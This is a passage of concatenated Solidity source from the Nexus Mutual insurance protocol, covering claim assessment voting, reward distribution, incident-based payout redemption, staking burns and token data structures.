return max(_mcr.mul(BASIS_PRECISION - basisPointsAdjustment).div(BASIS_PRECISION), _desiredMCR);
}
function getGearedMCR() external view returns (uint) {
return getAllSumAssurance().mul(BASIS_PRECISION).div(gearingFactor);
}
function min(uint x, uint y) pure internal returns (uint) {
return x < y ? x : y;
}
function max(uint x, uint y) pure internal returns (uint) {
return x > y ? x : y;
}
/**
* @dev Updates Uint Parameters
* @param code parameter code
* @param val new value
*/
function updateUintParameters(bytes8 code, uint val) public {
require(master.checkIsAuthToGoverned(msg.sender));
if (code == "DMCT") {
require(val <= UINT24_MAX, "MCR: value too large");
mcrFloorIncrementThreshold = uint24(val);
} else if (code == "DMCI") {
require(val <= UINT24_MAX, "MCR: value too large");
maxMCRFloorIncrement = uint24(val);
} else if (code == "MMIC") {
require(val <= UINT24_MAX, "MCR: value too large");
maxMCRIncrement = uint24(val);
} else if (code == "GEAR") {
require(val <= UINT24_MAX, "MCR: value too large");
gearingFactor = uint24(val);
} else if (code == "MUTI") {
require(val <= UINT24_MAX, "MCR: value too large");
minUpdateTime = uint24(val);
} else {
revert("Invalid param code");
}
}
}
/* Copyright (C) 2020 NexusMutual.io
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see http://www.gnu.org/licenses/ */
pragma solidity ^0.5.0;
contract INXMMaster {
address public tokenAddress;
address public owner;
uint public pauseTime;
function delegateCallBack(bytes32 myid) external;
function masterInitialized() public view returns (bool);
function isInternal(address _add) public view returns (bool);
function isPause() public view returns (bool check);
function isOwner(address _add) public view returns (bool);
function isMember(address _add) public view returns (bool);
function checkIsAuthToGoverned(address _add) public view returns (bool);
function updatePauseTime(uint _time) public;
function dAppLocker() public view returns (address _add);
function dAppToken() public view returns (address _add);
function getLatestAddress(bytes2 _contractName) public view returns (address payable contractAddress);
}
/* Copyright (C) 2020 NexusMutual.io
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see http://www.gnu.org/licenses/ */
//Claims Reward Contract contains the functions for calculating number of tokens
// that will get rewarded, unlocked or burned depending upon the status of claim.
pragma solidity ^0.5.0;
import "../../interfaces/IPooledStaking.sol";
import "../capital/Pool.sol";
import "../cover/QuotationData.sol";
import "../governance/Governance.sol";
import "../token/TokenData.sol";
import "../token/TokenFunctions.sol";
import "./Claims.sol";
import "./ClaimsData.sol";
import "../capital/MCR.sol";
contract ClaimsReward is Iupgradable {
using SafeMath for uint;
NXMToken internal tk;
TokenController internal tc;
TokenData internal td;
QuotationData internal qd;
Claims internal c1;
ClaimsData internal cd;
Pool internal pool;
Governance internal gv;
IPooledStaking internal pooledStaking;
MemberRoles internal memberRoles;
MCR public mcr;
// assigned in constructor
address public DAI;
// constants
address public constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
uint private constant DECIMAL1E18 = uint(10) ** 18;
constructor (address masterAddress, address _daiAddress) public {
changeMasterAddress(masterAddress);
DAI = _daiAddress;
}
function changeDependentContractAddress() public onlyInternal {
c1 = Claims(ms.getLatestAddress("CL"));
cd = ClaimsData(ms.getLatestAddress("CD"));
tk = NXMToken(ms.tokenAddress());
tc = TokenController(ms.getLatestAddress("TC"));
td = TokenData(ms.getLatestAddress("TD"));
qd = QuotationData(ms.getLatestAddress("QD"));
gv = Governance(ms.getLatestAddress("GV"));
pooledStaking = IPooledStaking(ms.getLatestAddress("PS"));
memberRoles = MemberRoles(ms.getLatestAddress("MR"));
pool = Pool(ms.getLatestAddress("P1"));
mcr = MCR(ms.getLatestAddress("MC"));
}
/// @dev Decides the next course of action for a given claim.
function changeClaimStatus(uint claimid) public checkPause onlyInternal {
(, uint coverid) = cd.getClaimCoverId(claimid);
(, uint status) = cd.getClaimStatusNumber(claimid);
// when current status is "Pending-Claim Assessor Vote"
if (status == 0) {
_changeClaimStatusCA(claimid, coverid, status);
} else if (status >= 1 && status <= 5) {
_changeClaimStatusMV(claimid, coverid, status);
} else if (status == 12) {// when current status is "Claim Accepted Payout Pending"
bool payoutSucceeded = attemptClaimPayout(coverid);
if (payoutSucceeded) {
c1.setClaimStatus(claimid, 14);
} else {
c1.setClaimStatus(claimid, 12);
}
}
}
function getCurrencyAssetAddress(bytes4 currency) public view returns (address) {
if (currency == "ETH") {
return ETH;
}
if (currency == "DAI") {
return DAI;
}
revert("ClaimsReward: unknown asset");
}
function attemptClaimPayout(uint coverId) internal returns (bool success) {
uint sumAssured = qd.getCoverSumAssured(coverId);
// TODO: when adding new cover currencies, fetch the correct decimals for this multiplication
uint sumAssuredWei = sumAssured.mul(1e18);
// get asset address
bytes4 coverCurrency = qd.getCurrencyOfCover(coverId);
address asset = getCurrencyAssetAddress(coverCurrency);
// get payout address
address payable coverHolder = qd.getCoverMemberAddress(coverId);
address payable payoutAddress = memberRoles.getClaimPayoutAddress(coverHolder);
// execute the payout
bool payoutSucceeded = pool.sendClaimPayout(asset, payoutAddress, sumAssuredWei);
if (payoutSucceeded) {
// burn staked tokens
(, address scAddress) = qd.getscAddressOfCover(coverId);
uint tokenPrice = pool.getTokenPrice(asset);
// note: for new assets "18" needs to be replaced with target asset decimals
uint burnNXMAmount = sumAssuredWei.mul(1e18).div(tokenPrice);
pooledStaking.pushBurn(scAddress, burnNXMAmount);
// adjust total sum assured
(, address coverContract) = qd.getscAddressOfCover(coverId);
qd.subFromTotalSumAssured(coverCurrency, sumAssured);
qd.subFromTotalSumAssuredSC(coverContract, coverCurrency, sumAssured);
// update MCR since total sum assured and MCR% change
mcr.updateMCRInternal(pool.getPoolValueInEth(), true);
return true;
}
return false;
}
/// @dev Amount of tokens to be rewarded to a user for a particular vote id.
/// @param check 1 -> CA vote, else member vote
/// @param voteid vote id for which reward has to be Calculated
/// @param flag if 1 calculate even if claimed,else don't calculate if already claimed
/// @return tokenCalculated reward to be given for vote id
/// @return lastClaimedCheck true if final verdict is still pending for that voteid
/// @return tokens number of tokens locked under that voteid
/// @return perc percentage of reward to be given.
function getRewardToBeGiven(
uint check,
uint voteid,
uint flag
)
public
view
returns (
uint tokenCalculated,
bool lastClaimedCheck,
uint tokens,
uint perc
)
{
uint claimId;
int8 verdict;
bool claimed;
uint tokensToBeDist;
uint totalTokens;
(tokens, claimId, verdict, claimed) = cd.getVoteDetails(voteid);
lastClaimedCheck = false;
int8 claimVerdict = cd.getFinalVerdict(claimId);
if (claimVerdict == 0) {
lastClaimedCheck = true;
}
if (claimVerdict == verdict && (claimed == false || flag == 1)) {
if (check == 1) {
(perc, , tokensToBeDist) = cd.getClaimRewardDetail(claimId);
} else {
(, perc, tokensToBeDist) = cd.getClaimRewardDetail(claimId);
}
if (perc > 0) {
if (check == 1) {
if (verdict == 1) {
(, totalTokens,) = cd.getClaimsTokenCA(claimId);
} else {
(,, totalTokens) = cd.getClaimsTokenCA(claimId);
}
} else {
if (verdict == 1) {
(, totalTokens,) = cd.getClaimsTokenMV(claimId);
} else {
(,, totalTokens) = cd.getClaimsTokenMV(claimId);
}
}
tokenCalculated = (perc.mul(tokens).mul(tokensToBeDist)).div(totalTokens.mul(100));
}
}
}
/// @dev Transfers all tokens held by contract to a new contract in case of upgrade.
function upgrade(address _newAdd) public onlyInternal {
uint amount = tk.balanceOf(address(this));
if (amount > 0) {
require(tk.transfer(_newAdd, amount));
}
}
/// @dev Total reward in token due for claim by a user.
/// @return total total number of tokens
function getRewardToBeDistributedByUser(address _add) public view returns (uint total) {
uint lengthVote = cd.getVoteAddressCALength(_add);
uint lastIndexCA;
uint lastIndexMV;
uint tokenForVoteId;
uint voteId;
(lastIndexCA, lastIndexMV) = cd.getRewardDistributedIndex(_add);
for (uint i = lastIndexCA; i < lengthVote; i++) {
voteId = cd.getVoteAddressCA(_add, i);
(tokenForVoteId,,,) = getRewardToBeGiven(1, voteId, 0);
total = total.add(tokenForVoteId);
}
lengthVote = cd.getVoteAddressMemberLength(_add);
for (uint j = lastIndexMV; j < lengthVote; j++) {
voteId = cd.getVoteAddressMember(_add, j);
(tokenForVoteId,,,) = getRewardToBeGiven(0, voteId, 0);
total = total.add(tokenForVoteId);
}
return (total);
}
/// @dev Gets reward amount and claiming status for a given claim id.
/// @return reward amount of tokens to user.
/// @return claimed true if already claimed false if yet to be claimed.
function getRewardAndClaimedStatus(uint check, uint claimId) public view returns (uint reward, bool claimed) {
uint voteId;
uint claimid;
uint lengthVote;
if (check == 1) {
lengthVote = cd.getVoteAddressCALength(msg.sender);
for (uint i = 0; i < lengthVote; i++) {
voteId = cd.getVoteAddressCA(msg.sender, i);
(, claimid, , claimed) = cd.getVoteDetails(voteId);
if (claimid == claimId) {break;}
}
} else {
lengthVote = cd.getVoteAddressMemberLength(msg.sender);
for (uint j = 0; j < lengthVote; j++) {
voteId = cd.getVoteAddressMember(msg.sender, j);
(, claimid, , claimed) = cd.getVoteDetails(voteId);
if (claimid == claimId) {break;}
}
}
(reward,,,) = getRewardToBeGiven(check, voteId, 1);
}
/**
* @dev Function used to claim all pending rewards : Claims Assessment + Risk Assessment + Governance
* Claim assesment, Risk assesment, Governance rewards
*/
function claimAllPendingReward(uint records) public isMemberAndcheckPause {
_claimRewardToBeDistributed(records);
pooledStaking.withdrawReward(msg.sender);
uint governanceRewards = gv.claimReward(msg.sender, records);
if (governanceRewards > 0) {
require(tk.transfer(msg.sender, governanceRewards));
}
}
/**
* @dev Function used to get pending rewards of a particular user address.
* @param _add user address.
* @return total reward amount of the user
*/
function getAllPendingRewardOfUser(address _add) public view returns (uint) {
uint caReward = getRewardToBeDistributedByUser(_add);
uint pooledStakingReward = pooledStaking.stakerReward(_add);
uint governanceReward = gv.getPendingReward(_add);
return caReward.add(pooledStakingReward).add(governanceReward);
}
/// @dev Rewards/Punishes users who participated in Claims assessment.
// Unlocking and burning of the tokens will also depend upon the status of claim.
/// @param claimid Claim Id.
function _rewardAgainstClaim(uint claimid, uint coverid, uint status) internal {
uint premiumNXM = qd.getCoverPremiumNXM(coverid);
uint distributableTokens = premiumNXM.mul(cd.claimRewardPerc()).div(100); // 20% of premium
uint percCA;
uint percMV;
(percCA, percMV) = cd.getRewardStatus(status);
cd.setClaimRewardDetail(claimid, percCA, percMV, distributableTokens);
if (percCA > 0 || percMV > 0) {
tc.mint(address(this), distributableTokens);
}
// denied
if (status == 6 || status == 9 || status == 11) {
cd.changeFinalVerdict(claimid, -1);
tc.markCoverClaimClosed(coverid, false);
_burnCoverNoteDeposit(coverid);
// accepted
} else if (status == 7 || status == 8 || status == 10) {
cd.changeFinalVerdict(claimid, 1);
tc.markCoverClaimClosed(coverid, true);
_unlockCoverNote(coverid);
bool payoutSucceeded = attemptClaimPayout(coverid);
// 12 = payout pending, 14 = payout succeeded
uint nextStatus = payoutSucceeded ? 14 : 12;
c1.setClaimStatus(claimid, nextStatus);
}
}
function _burnCoverNoteDeposit(uint coverId) internal {
address _of = qd.getCoverMemberAddress(coverId);
bytes32 reason = keccak256(abi.encodePacked("CN", _of, coverId));
uint lockedAmount = tc.tokensLocked(_of, reason);
(uint amount,) = td.depositedCN(coverId);
amount = amount.div(2);
// limit burn amount to actual amount locked
uint burnAmount = lockedAmount < amount ? lockedAmount : amount;
if (burnAmount != 0) {
tc.burnLockedTokens(_of, reason, amount);
}
}
function _unlockCoverNote(uint coverId) internal {
address coverHolder = qd.getCoverMemberAddress(coverId);
bytes32 reason = keccak256(abi.encodePacked("CN", coverHolder, coverId));
uint lockedCN = tc.tokensLocked(coverHolder, reason);
if (lockedCN != 0) {
tc.releaseLockedTokens(coverHolder, reason, lockedCN);
}
}
/// @dev Computes the result of Claim Assessors Voting for a given claim id.
function _changeClaimStatusCA(uint claimid, uint coverid, uint status) internal {
// Check if voting should be closed or not
if (c1.checkVoteClosing(claimid) == 1) {
uint caTokens = c1.getCATokens(claimid, 0); // converted in cover currency.
uint accept;
uint deny;
uint acceptAndDeny;
bool rewardOrPunish;
uint sumAssured;
(, accept) = cd.getClaimVote(claimid, 1);
(, deny) = cd.getClaimVote(claimid, - 1);
acceptAndDeny = accept.add(deny);
accept = accept.mul(100);
deny = deny.mul(100);
if (caTokens == 0) {
status = 3;
} else {
sumAssured = qd.getCoverSumAssured(coverid).mul(DECIMAL1E18);
// Min threshold reached tokens used for voting > 5* sum assured
if (caTokens > sumAssured.mul(5)) {
if (accept.div(acceptAndDeny) > 70) {
status = 7;
qd.changeCoverStatusNo(coverid, uint8(QuotationData.CoverStatus.ClaimAccepted));
rewardOrPunish = true;
} else if (deny.div(acceptAndDeny) > 70) {
status = 6;
qd.changeCoverStatusNo(coverid, uint8(QuotationData.CoverStatus.ClaimDenied));
rewardOrPunish = true;
} else if (accept.div(acceptAndDeny) > deny.div(acceptAndDeny)) {
status = 4;
} else {
status = 5;
}
} else {
if (accept.div(acceptAndDeny) > deny.div(acceptAndDeny)) {
status = 2;
} else {
status = 3;
}
}
}
c1.setClaimStatus(claimid, status);
if (rewardOrPunish) {
_rewardAgainstClaim(claimid, coverid, status);
}
}
}
/// @dev Computes the result of Member Voting for a given claim id.
function _changeClaimStatusMV(uint claimid, uint coverid, uint status) internal {
// Check if voting should be closed or not
if (c1.checkVoteClosing(claimid) == 1) {
uint8 coverStatus;
uint statusOrig = status;
uint mvTokens = c1.getCATokens(claimid, 1); // converted in cover currency.
// If tokens used for acceptance >50%, claim is accepted
uint sumAssured = qd.getCoverSumAssured(coverid).mul(DECIMAL1E18);
uint thresholdUnreached = 0;
// Minimum threshold for member voting is reached only when
// value of tokens used for voting > 5* sum assured of claim id
if (mvTokens < sumAssured.mul(5)) {
thresholdUnreached = 1;
}
uint accept;
(, accept) = cd.getClaimMVote(claimid, 1);
uint deny;
(, deny) = cd.getClaimMVote(claimid, - 1);
if (accept.add(deny) > 0) {
if (accept.mul(100).div(accept.add(deny)) >= 50 && statusOrig > 1 &&
statusOrig <= 5 && thresholdUnreached == 0) {
status = 8;
coverStatus = uint8(QuotationData.CoverStatus.ClaimAccepted);
} else if (deny.mul(100).div(accept.add(deny)) >= 50 && statusOrig > 1 &&
statusOrig <= 5 && thresholdUnreached == 0) {
status = 9;
coverStatus = uint8(QuotationData.CoverStatus.ClaimDenied);
}
}
if (thresholdUnreached == 1 && (statusOrig == 2 || statusOrig == 4)) {
status = 10;
coverStatus = uint8(QuotationData.CoverStatus.ClaimAccepted);
} else if (thresholdUnreached == 1 && (statusOrig == 5 || statusOrig == 3 || statusOrig == 1)) {
status = 11;
coverStatus = uint8(QuotationData.CoverStatus.ClaimDenied);
}
c1.setClaimStatus(claimid, status);
qd.changeCoverStatusNo(coverid, uint8(coverStatus));
// Reward/Punish Claim Assessors and Members who participated in Claims assessment
_rewardAgainstClaim(claimid, coverid, status);
}
}
/// @dev Allows a user to claim all pending Claims assessment rewards.
function _claimRewardToBeDistributed(uint _records) internal {
uint lengthVote = cd.getVoteAddressCALength(msg.sender);
uint voteid;
uint lastIndex;
(lastIndex,) = cd.getRewardDistributedIndex(msg.sender);
uint total = 0;
uint tokenForVoteId = 0;
bool lastClaimedCheck;
uint _days = td.lockCADays();
bool claimed;
uint counter = 0;
uint claimId;
uint perc;
uint i;
uint lastClaimed = lengthVote;
for (i = lastIndex; i < lengthVote && counter < _records; i++) {
voteid = cd.getVoteAddressCA(msg.sender, i);
(tokenForVoteId, lastClaimedCheck, , perc) = getRewardToBeGiven(1, voteid, 0);
if (lastClaimed == lengthVote && lastClaimedCheck == true) {
lastClaimed = i;
}
(, claimId, , claimed) = cd.getVoteDetails(voteid);
if (perc > 0 && !claimed) {
counter++;
cd.setRewardClaimed(voteid, true);
} else if (perc == 0 && cd.getFinalVerdict(claimId) != 0 && !claimed) {
(perc,,) = cd.getClaimRewardDetail(claimId);
if (perc == 0) {
counter++;
}
cd.setRewardClaimed(voteid, true);
}
if (tokenForVoteId > 0) {
total = tokenForVoteId.add(total);
}
}
if (lastClaimed == lengthVote) {
cd.setRewardDistributedIndexCA(msg.sender, i);
}
else {
cd.setRewardDistributedIndexCA(msg.sender, lastClaimed);
}
lengthVote = cd.getVoteAddressMemberLength(msg.sender);
lastClaimed = lengthVote;
_days = _days.mul(counter);
if (tc.tokensLockedAtTime(msg.sender, "CLA", now) > 0) {
tc.reduceLock(msg.sender, "CLA", _days);
}
(, lastIndex) = cd.getRewardDistributedIndex(msg.sender);
lastClaimed = lengthVote;
counter = 0;
for (i = lastIndex; i < lengthVote && counter < _records; i++) {
voteid = cd.getVoteAddressMember(msg.sender, i);
(tokenForVoteId, lastClaimedCheck,,) = getRewardToBeGiven(0, voteid, 0);
if (lastClaimed == lengthVote && lastClaimedCheck == true) {
lastClaimed = i;
}
(, claimId, , claimed) = cd.getVoteDetails(voteid);
if (claimed == false && cd.getFinalVerdict(claimId) != 0) {
cd.setRewardClaimed(voteid, true);
counter++;
}
if (tokenForVoteId > 0) {
total = tokenForVoteId.add(total);
}
}
if (total > 0) {
require(tk.transfer(msg.sender, total));
}
if (lastClaimed == lengthVote) {
cd.setRewardDistributedIndexMV(msg.sender, i);
}
else {
cd.setRewardDistributedIndexMV(msg.sender, lastClaimed);
}
}
/**
* @dev Function used to claim the commission earned by the staker.
*/
function _claimStakeCommission(uint _records, address _user) external onlyInternal {
uint total = 0;
uint len = td.getStakerStakedContractLength(_user);
uint lastCompletedStakeCommission = td.lastCompletedStakeCommission(_user);
uint commissionEarned;
uint commissionRedeemed;
uint maxCommission;
uint lastCommisionRedeemed = len;
uint counter;
uint i;
for (i = lastCompletedStakeCommission; i < len && counter < _records; i++) {
commissionRedeemed = td.getStakerRedeemedStakeCommission(_user, i);
commissionEarned = td.getStakerEarnedStakeCommission(_user, i);
maxCommission = td.getStakerInitialStakedAmountOnContract(
_user, i).mul(td.stakerMaxCommissionPer()).div(100);
if (lastCommisionRedeemed == len && maxCommission != commissionEarned)
lastCommisionRedeemed = i;
td.pushRedeemedStakeCommissions(_user, i, commissionEarned.sub(commissionRedeemed));
total = total.add(commissionEarned.sub(commissionRedeemed));
counter++;
}
if (lastCommisionRedeemed == len) {
td.setLastCompletedStakeCommissionIndex(_user, i);
} else {
td.setLastCompletedStakeCommissionIndex(_user, lastCommisionRedeemed);
}
if (total > 0)
require(tk.transfer(_user, total)); // solhint-disable-line
}
}
/* Copyright (C) 2021 NexusMutual.io
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see http://www.gnu.org/licenses/ */
pragma solidity ^0.5.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "../../abstract/MasterAware.sol";
import "../../interfaces/IPooledStaking.sol";
import "../capital/Pool.sol";
import "../claims/ClaimsData.sol";
import "../claims/ClaimsReward.sol";
import "../cover/QuotationData.sol";
import "../governance/MemberRoles.sol";
import "../token/TokenController.sol";
import "../capital/MCR.sol";
contract Incidents is MasterAware {
using SafeERC20 for IERC20;
using SafeMath for uint;
struct Incident {
address productId;
uint32 date;
uint priceBefore;
}
// contract identifiers
enum ID {CD, CR, QD, TC, MR, P1, PS, MC}
mapping(uint => address payable) public internalContracts;
Incident[] public incidents;
// product id => underlying token (ex. yDAI -> DAI)
mapping(address => address) public underlyingToken;
// product id => covered token (ex. 0xc7ed.....1 -> yDAI)
mapping(address => address) public coveredToken;
// claim id => payout amount
mapping(uint => uint) public claimPayout;
// product id => accumulated burn amount
mapping(address => uint) public accumulatedBurn;
// burn ratio in bps, ex 2000 for 20%
uint public BURN_RATIO;
// burn ratio in bps
uint public DEDUCTIBLE_RATIO;
uint constant BASIS_PRECISION = 10000;
event ProductAdded(
address indexed productId,
address indexed coveredToken,
address indexed underlyingToken
);
event IncidentAdded(
address indexed productId,
uint incidentDate,
uint priceBefore
);
modifier onlyAdvisoryBoard {
uint abRole = uint(MemberRoles.Role.AdvisoryBoard);
require(
memberRoles().checkRole(msg.sender, abRole),
"Incidents: Caller is not an advisory board member"
);
_;
}
function initialize() external {
require(BURN_RATIO == 0, "Already initialized");
BURN_RATIO = 2000;
DEDUCTIBLE_RATIO = 9000;
}
function addProducts(
address[] calldata _productIds,
address[] calldata _coveredTokens,
address[] calldata _underlyingTokens
) external onlyAdvisoryBoard {
require(
_productIds.length == _coveredTokens.length,
"Incidents: Protocols and covered tokens lengths differ"
);
require(
_productIds.length == _underlyingTokens.length,
"Incidents: Protocols and underyling tokens lengths differ"
);
for (uint i = 0; i < _productIds.length; i++) {
address id = _productIds[i];
require(coveredToken[id] == address(0), "Incidents: covered token is already set");
require(underlyingToken[id] == address(0), "Incidents: underlying token is already set");
coveredToken[id] = _coveredTokens[i];
underlyingToken[id] = _underlyingTokens[i];
emit ProductAdded(id, _coveredTokens[i], _underlyingTokens[i]);
}
}
function incidentCount() external view returns (uint) {
return incidents.length;
}
function addIncident(
address productId,
uint incidentDate,
uint priceBefore
) external onlyGovernance {
address underlying = underlyingToken[productId];
require(underlying != address(0), "Incidents: Unsupported product");
Incident memory incident = Incident(productId, uint32(incidentDate), priceBefore);
incidents.push(incident);
emit IncidentAdded(productId, incidentDate, priceBefore);
}
function redeemPayoutForMember(
uint coverId,
uint incidentId,
uint coveredTokenAmount,
address member
) external onlyInternal returns (uint claimId, uint payoutAmount, address payoutToken) {
(claimId, payoutAmount, payoutToken) = _redeemPayout(coverId, incidentId, coveredTokenAmount, member);
}
function redeemPayout(
uint coverId,
uint incidentId,
uint coveredTokenAmount
) external returns (uint claimId, uint payoutAmount, address payoutToken) {
(claimId, payoutAmount, payoutToken) = _redeemPayout(coverId, incidentId, coveredTokenAmount, msg.sender);
}
function _redeemPayout(
uint coverId,
uint incidentId,
uint coveredTokenAmount,
address coverOwner
) internal returns (uint claimId, uint payoutAmount, address coverAsset) {
QuotationData qd = quotationData();
Incident memory incident = incidents[incidentId];
uint sumAssured;
bytes4 currency;
{
address productId;
address _coverOwner;
(/* id */, _coverOwner, productId,
currency, sumAssured, /* premiumNXM */
) = qd.getCoverDetailsByCoverID1(coverId);
// check ownership and covered protocol
require(coverOwner == _coverOwner, "Incidents: Not cover owner");
require(productId == incident.productId, "Incidents: Bad incident id");
}
{
uint coverPeriod = uint(qd.getCoverPeriod(coverId)).mul(1 days);
uint coverExpirationDate = qd.getValidityOfCover(coverId);
uint coverStartDate = coverExpirationDate.sub(coverPeriod);
// check cover validity
require(coverStartDate <= incident.date, "Incidents: Cover start date is after the incident");
require(coverExpirationDate >= incident.date, "Incidents: Cover end date is before the incident");
// check grace period
uint gracePeriod = tokenController().claimSubmissionGracePeriod();
require(coverExpirationDate.add(gracePeriod) >= block.timestamp, "Incidents: Grace period has expired");
}
{
// assumes 18 decimals (eth & dai)
uint decimalPrecision = 1e18;
uint maxAmount;
// sumAssured is currently stored without decimals
uint coverAmount = sumAssured.mul(decimalPrecision);
{
// max amount check
uint deductiblePriceBefore = incident.priceBefore.mul(DEDUCTIBLE_RATIO).div(BASIS_PRECISION);
maxAmount = coverAmount.mul(decimalPrecision).div(deductiblePriceBefore);
require(coveredTokenAmount <= maxAmount, "Incidents: Amount exceeds sum assured");
}
// payoutAmount = coveredTokenAmount / maxAmount * coverAmount
// = coveredTokenAmount * coverAmount / maxAmount
payoutAmount = coveredTokenAmount.mul(coverAmount).div(maxAmount);
}
{
TokenController tc = tokenController();
// mark cover as having a successful claim
tc.markCoverClaimOpen(coverId);
tc.markCoverClaimClosed(coverId, true);
// create the claim
ClaimsData cd = claimsData();
claimId = cd.actualClaimLength();
cd.addClaim(claimId, coverId, coverOwner, now);
cd.callClaimEvent(coverId, coverOwner, claimId, now);
cd.setClaimStatus(claimId, 14);
qd.changeCoverStatusNo(coverId, uint8(QuotationData.CoverStatus.ClaimAccepted));
claimPayout[claimId] = payoutAmount;
}
coverAsset = claimsReward().getCurrencyAssetAddress(currency);
_sendPayoutAndPushBurn(
incident.productId,
address(uint160(coverOwner)),
coveredTokenAmount,
coverAsset,
payoutAmount
);
qd.subFromTotalSumAssured(currency, sumAssured);
qd.subFromTotalSumAssuredSC(incident.productId, currency, sumAssured);
mcr().updateMCRInternal(pool().getPoolValueInEth(), true);
}
function pushBurns(address productId, uint maxIterations) external {
uint burnAmount = accumulatedBurn[productId];
delete accumulatedBurn[productId];
require(burnAmount > 0, "Incidents: No burns to push");
require(maxIterations >= 30, "Incidents: Pass at least 30 iterations");
IPooledStaking ps = pooledStaking();
ps.pushBurn(productId, burnAmount);
ps.processPendingActions(maxIterations);
}
function withdrawAsset(address asset, address destination, uint amount) external onlyGovernance {
IERC20 token = IERC20(asset);
uint balance = token.balanceOf(address(this));
uint transferAmount = amount > balance ? balance : amount;
token.safeTransfer(destination, transferAmount);
}
function _sendPayoutAndPushBurn(
address productId,
address payable coverOwner,
uint coveredTokenAmount,
address coverAsset,
uint payoutAmount
) internal {
address _coveredToken = coveredToken[productId];
// pull depegged tokens
IERC20(_coveredToken).safeTransferFrom(msg.sender, address(this), coveredTokenAmount);
Pool p1 = pool();
// send the payoutAmount
{
address payable payoutAddress = memberRoles().getClaimPayoutAddress(coverOwner);
bool success = p1.sendClaimPayout(coverAsset, payoutAddress, payoutAmount);
require(success, "Incidents: Payout failed");
}
{
// burn
uint decimalPrecision = 1e18;
uint assetPerNxm = p1.getTokenPrice(coverAsset);
uint maxBurnAmount = payoutAmount.mul(decimalPrecision).div(assetPerNxm);
uint burnAmount = maxBurnAmount.mul(BURN_RATIO).div(BASIS_PRECISION);
accumulatedBurn[productId] = accumulatedBurn[productId].add(burnAmount);
}
}
function claimsData() internal view returns (ClaimsData) {
return ClaimsData(internalContracts[uint(ID.CD)]);
}
function claimsReward() internal view returns (ClaimsReward) {
return ClaimsReward(internalContracts[uint(ID.CR)]);
}
function quotationData() internal view returns (QuotationData) {
return QuotationData(internalContracts[uint(ID.QD)]);
}
function tokenController() internal view returns (TokenController) {
return TokenController(internalContracts[uint(ID.TC)]);
}
function memberRoles() internal view returns (MemberRoles) {
return MemberRoles(internalContracts[uint(ID.MR)]);
}
function pool() internal view returns (Pool) {
return Pool(internalContracts[uint(ID.P1)]);
}
function pooledStaking() internal view returns (IPooledStaking) {
return IPooledStaking(internalContracts[uint(ID.PS)]);
}
function mcr() internal view returns (MCR) {
return MCR(internalContracts[uint(ID.MC)]);
}
function updateUintParameters(bytes8 code, uint value) external onlyGovernance {
if (code == "BURNRATE") {
require(value <= BASIS_PRECISION, "Incidents: Burn ratio cannot exceed 10000");
BURN_RATIO = value;
return;
}
if (code == "DEDUCTIB") {
require(value <= BASIS_PRECISION, "Incidents: Deductible ratio cannot exceed 10000");
DEDUCTIBLE_RATIO = value;
return;
}
revert("Incidents: Invalid parameter");
}
function changeDependentContractAddress() external {
INXMMaster master = INXMMaster(master);
internalContracts[uint(ID.CD)] = master.getLatestAddress("CD");
internalContracts[uint(ID.CR)] = master.getLatestAddress("CR");
internalContracts[uint(ID.QD)] = master.getLatestAddress("QD");
internalContracts[uint(ID.TC)] = master.getLatestAddress("TC");
internalContracts[uint(ID.MR)] = master.getLatestAddress("MR");
internalContracts[uint(ID.P1)] = master.getLatestAddress("P1");
internalContracts[uint(ID.PS)] = master.getLatestAddress("PS");
internalContracts[uint(ID.MC)] = master.getLatestAddress("MC");
}
}
/* Copyright (C) 2020 NexusMutual.io
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see http://www.gnu.org/licenses/ */
pragma solidity ^0.5.0;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "../../abstract/Iupgradable.sol";
contract TokenData is Iupgradable {
using SafeMath for uint;
address payable public walletAddress;
uint public lockTokenTimeAfterCoverExp;
uint public bookTime;
uint public lockCADays;
uint public lockMVDays;
uint public scValidDays;
uint public joiningFee;
uint public stakerCommissionPer;
uint public stakerMaxCommissionPer;
uint public tokenExponent;
uint public priceStep;
struct StakeCommission {
uint commissionEarned;
uint commissionRedeemed;
}
struct Stake {
address stakedContractAddress;
uint stakedContractIndex;
uint dateAdd;
uint stakeAmount;
uint unlockedAmount;
uint burnedAmount;
uint unLockableBeforeLastBurn;
}
struct Staker {
address stakerAddress;
uint stakerIndex;
}
struct CoverNote {
uint amount;
bool isDeposited;
}
/**
* @dev mapping of uw address to array of sc address to fetch
* all staked contract address of underwriter, pushing
* data into this array of Stake returns stakerIndex
*/
mapping(address => Stake[]) public stakerStakedContracts;
/**
* @dev mapping of sc address to array of UW address to fetch
* all underwritters of the staked smart contract
* pushing data into this mapped array returns scIndex
*/
mapping(address => Staker[]) public stakedContractStakers;
/**
* @dev mapping of staked contract Address to the array of StakeCommission
* here index of this array is stakedContractIndex
*/
mapping(address => mapping(uint => StakeCommission)) public stakedContractStakeCommission;
